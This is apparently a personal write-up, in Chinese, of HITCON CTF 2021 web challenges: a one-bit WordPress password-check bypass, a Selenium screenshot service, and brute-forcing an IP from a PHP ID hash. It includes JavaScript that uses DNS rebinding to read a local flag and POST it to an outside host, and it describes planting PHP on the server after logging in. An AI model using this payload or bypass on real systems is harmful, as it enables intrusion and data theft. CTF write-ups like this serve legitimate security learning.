# HITCON CTF 2021 --- 這次終於有隊友了讚讚 隊名:反正也不會有名次 今年的感覺比去年簡單,所以隊名沒有用到 Rank:31/288 台灣第6 ![](https://i.imgur.com/gET7Vk6.png) 我解了兩題Web 隊友解了兩題Reverse跟Crypto --- ## One-Bit Man 題目會幫你用docker開一個Wordpress 並且把flag跟readflag丟no進去 然後可以讓你修改裡面檔案的一個bit 這題其實沒什麼,主要就是code review https://github.com/WordPress/WordPress/blob/master/wp-login.php 既然是只能修改一個bit,應該就是修改登入邏輯 然後最後可以找到下面這行是確認密碼有沒有對 wp-includes/user.php position 5389 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { ``` 把!改成空白他就不會檢查密碼了 之後登入admin並且植入執行readflag的php就行了 > **hitcon{if your solution is l33t, please share it!}** --- ## Vulpixelize 題目一樣會開個docker給你 網站的功能是可以對目標網址發request並且截圖然後把他變糊 是用Selenium並且是用ChromeDriver 這題有三種解法,據Orange說是出爛ㄌ ![](https://i.imgur.com/5uvftuy.png) ### Intended: 用chrome的新功能Text fragment 可以在url中執行字串搜尋 搜尋到的會被標記顏色 所以就去爆破flag ### Unintended 1: 用iframe並且放大 這樣截出來的圖就算變糊還是可以看到flag ### Unintended 2: 用DNS rebinding ```javascript setTimeout(()=>{ fetch("http://A.x.x.x.x.1time.0.0.0.0.1time.repeat.rebind.network:8000/flag",) .then(res=>res.text()) .then(res=>{ fetch("https://itiscaleb.com/hehe",{ body:res, method:"POST" }) }) .catch((err)=>{ fetch("https://itiscaleb.com/hehe",{ body:err, method:"POST" }) }) },70000) ``` Chrome基本上不會鳥DNS的ttl,預設好像是一分鐘清一次cache 然後新版的Chrome增加一個新功能,會把從比較公開到比較私有的request擋下來 像是http->https 外部ip->localhost 不過還是能靠0.0.0.0繞過去 雖然感覺好像這個功能就是來防DNS rebinding的(? > **hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}** ## FBI Warning 這題超簡單,可惜我耍白痴算md5用update 結果爆破不出來== flag是要找到Ωrange的ip,並且告訴你第一段是219 總之可以直接找到原始碼是futaba.php k島就是用這來做的 code review之後,可以找到這個東西 ```php define("IDSEED", 'idの種'); //idの種 ... $now.=" ID:".substr(crypt(md5($_SERVER["REMOTE_ADDR"].IDSEED.gmdate("Ymd", $time+9*60*60)),'id'),-8); ``` 之後就用python爆破就好 > **hitcon{219.91.64.47}** ## 結語 靠隊友好開心ㄛ